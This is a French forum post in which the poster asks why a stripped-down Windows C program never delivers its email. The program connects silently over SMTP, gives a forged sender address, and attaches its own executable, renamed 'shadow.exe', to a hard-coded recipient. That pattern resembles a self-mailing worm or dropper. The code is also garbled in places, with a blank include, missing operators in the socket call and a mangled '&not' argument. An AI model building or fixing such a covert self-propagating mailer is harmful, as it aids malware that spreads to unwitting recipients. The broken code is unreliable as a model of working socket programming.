Voila j'ai trouver un joli code sur le web. J'ai fait le menage et j'ai supprimer l'interface graphique.
Donc mon but final c'est d'envoyer un fichier joint executable,ou archive (rar,zip...) par smtp.
A la compilation pas de probleme , zero erreur.
Je lance le programme tout va bien. il se ferme.
Mais je recoit jamais le mail. argh!
Voila le code(un peu long):
#include <windows.h>
#include <windowsx.h>
#include <stdio.h>
#include <winsock.h>
#include
#pragma comment(lib, "wsock32.lib")
#define SIZE_BUF 1024
void bcopy( void * source, void * destination, int size );
void bzero( void * destination, int size );
int Process(char *buffer,SOCKET to_server_socket,HWND hDlg,int iReponse, unsigned long taille);
int GiveNb(char *buffer,int reponse);
FILE* EncodageB64(char* fichier);
#define b(a) (((a)>=0 && (a)<=25)?((a)+'A'):(((a)>=26 && (a)<=51)?((a)-26+'a'):(((a)>=52 && (a)<=61)?((a)-52+'0'):(((a)==62)?('+'):(((a)==63)?('/'):('='))))))
#define MYWM_NOTIFYICON (WM_APP+100)
int main(int argc, char * argv[])
{
char * server_name="smtp.laposte.net";
char * NomFichier=argv[0];
char * NomFichierCourt="shadow.exe";
SOCKET to_server_socket = 0;
int not = 0;
unsigned long ioctl_blocking = 1;
WSADATA wsaData;
struct sockaddr_in serverSockAddr; // addresse de la socket
struct hostent *serverHostEnt; // description du host serveur
char buf[SIZE_BUF];
int compteur;
//Chargement de WS2_32.DLL
if(WSAStartup(0x0101,&wsaData ))
{
return -1;
}
// initialise a zero serverSockAddr
bzero(&serverSockAddr,sizeof(serverSockAddr));
//Convertit "smtp.free.fr" en 12.10.3.145 (par exemple)
serverHostEnt = gethostbyname(server_name);
if(!serverHostEnt)
{
WSACleanup();
return -1;
}
bcopy(serverHostEnt->h_addr,&serverSockAddr.sin_addr,serverHostEnt->h_length);
// host to network port
serverSockAddr.sin_port = htons(25);
// AF_*** : INET=internet
serverSockAddr.sin_family = AF_INET;
// creation de la socketif((to_server_socket socket(AF_INET,SOCK_STREAM,0)) INVALID_SOCKET)
{
WSACleanup();
return -1;
}
//Paramétrage de la socket
if(setsockopt(to_server_socket,SOL_SOCKET,SO_DONTLINGER,(char*)¬,sizeof(not)) == SOCKET_ERROR)
{
WSACleanup();
return -1;
}
// requete de connexion
if(connect(to_server_socket,(struct sockaddr*)&serverSockAddr,sizeof(serverSockAddr)) == SOCKET_ERROR)
{
WSACleanup();
return -1;
}
//Paramétrage de la socket
if(ioctlsocket(to_server_socket,FIONBIO,&ioctl_blocking))
{
WSACleanup();
return -1;
}
buf[0] = 0x00;
//Tant que le buffer est vide on attend la réponse du serveur
while(!buf[0])compteur = recv(to_server_socket,buf,SIZE_BUF,0);
buf[compteur - 2] = 0;
//On teste le numéro retourné par le serveur
if(!GiveNb(buf,220))
{
WSACleanup();
return -1;
}
//Connection au serveur
Process("HELO smtp\r\n",to_server_socket,NULL,250,0);
Process("MAIL from: <dede@yahoo.fr>\r\n",to_server_socket,NULL,250,0);
Process("RCPT to: <lombredudragon@yahoo.fr>\r\n",to_server_socket,NULL,250,0);
Process("DATA\r\n",to_server_socket,NULL,354,0);
//Sujet
Process("Subject : Test\r\n",to_server_socket,NULL,0,0);
//MIME (faut faire gaffe à la tabulation devant boundary !!!!
Process("MIME-Version: 1.0\n\
Content-Type: multipart/mixed;\n\
boundary="__SPACE"\n\n\
This is a multi-part message in MIME format.\n\n\
--__SPACE\n\
Content-type: text/plain; charset=us-ascii\n\
Content-Transfer-Encoding: quoted-printable\n\n",
to_server_socket,NULL,0,0);
//Envoi du contenu
Process("test\r\n",to_server_socket,NULL,0,0);
//Variables utiles pour le traitement des fichiers
FILE* f;
unsigned long taille = 0;
//Si fichier alors traitement
char * buf2;
//Encodage du fichier en base 64
f = EncodageB64(NomFichier);
//On détermine la taille du fichier
fseek(f,0L,SEEK_END);
taille = ftell(f);
//Retourne à la position initiale du fichier
fseek(f,0L,SEEK_SET);
//On initialise le buffer
buf2 = (char*)malloc(taille * sizeof(char));
//Le problème de fread est qu'il remplace \n par \r quand on est en binaire
fread(buf2,taille,1,f);
//Envoi d'un séparateur
Process("\n\n--__SPACE\n",to_server_socket,NULL,0,0);
//Envoie et composition de l'entête du fichier
char entete[1024];
sprintf(entete,"Content-Type: text/plain;\n\
name="%s"\n\
Content-Transfer-Encoding: base64\n\
Content-Description: %s\n\
Content-Disposition: attachment;\n\
filename="%s"\n\n",NomFichierCourt,
NomFichierCourt,NomFichierCourt);
Process(entete,to_server_socket,NULL,0,0);
//Envoie du fichier et fermeture.
Process(buf2,to_server_socket,NULL,0,taille);
free(buf2);
fclose(f);
//Fin de MIME
Process("\n\n--__SPACE--",to_server_socket,NULL,0,0);
//Fin du message
Process("\n.\n",to_server_socket,NULL,250,0);
Process("QUIT\r\n",to_server_socket,NULL,221,0);
//fermeture de la connection
if(shutdown(to_server_socket,2))
{
WSACleanup();
return -1;
}
//Ferme le socket existant
if(closesocket(to_server_socket))
{
WSACleanup();
return -1;
}
//Arrête l'utilisation de WS2_32.DLL
if(WSACleanup())
{
return -1;
}
return 0;
}
void bcopy( void * source, void * destination, int size )
{
char * src = ( char * ) source;
char * dst = ( char * ) destination;
for( int i=0; i<size; i++ )dst[i] = src[i];
}
void bzero( void * destination, int size )
{
char * dst = ( char * ) destination;
for( int i=0; i<size; i++ )dst[i] = 0x00;
}
int Process(char *buffer,SOCKET to_server_socket,HWND hDlg,int iReponse, unsigned long taille)
{
unsigned long sizeP = strlen(buffer),retVal,compteurP;
char bufP[SIZE_BUF];
//Besoin d'une pause pour les gros fichiers
if(taille >= 51200) Sleep(2000);
if(!taille)retVal = send(to_server_socket,buffer,sizeP,0);
else retVal = send(to_server_socket,buffer,taille,0);
if(hDlg)
{
bufP[0] = 0x00;
while(!bufP[0])compteurP = recv(to_server_socket,bufP,SIZE_BUF,0);
bufP[compteurP - 2] = 0;
if(!GiveNb(bufP,iReponse))return -1;
}
//Besoin d'une pause pour les gros fichiers
if(taille >= 51200) Sleep(2000);
return 1;
}
int GiveNb(char *buffer,int iReponse)
{
char cNb[4];
int iReponseServ;
memcpy(cNb,buffer,3);
cNb[3] = '\0';
iReponseServ = atoi(cNb);
if(iReponseServ != iReponse)return -1;
return 1;
}
FILE* EncodageB64(char* fichier)
{
FILE *f, *g = tmpfile();
unsigned char buff[3];
int i=0;
//en binaire, car ceci enlève l'erreur du fread (\n -> \r)
f = fopen(fichier,"rb");
if(f == NULL)return NULL;
buff[0] = buff[1] = buff[2] = 0;
while ( ( i = fread(buff,1,3,f) ) > 0 ) {
fprintf(g,"%c",b(buff[0]>>2) );
fprintf(g,"%c",b(((buff[0] & 0x3) << 4) | buff[1] >> 4 ) );
if ( i > 1 ) {
fprintf(g,"%c",b(((buff[1] & 0xF) << 2) | buff[2] >> 6 ) );
if ( i > 2 ) {
fprintf(g,"%c",b(buff[2] & 0x3F ) );
} else
fprintf(g,"=");
} else
fprintf(g,"==");
buff[0] = buff[1] = buff[2] = 0;
}
fclose(f);
return g;
}
Ou sont mes erreurs?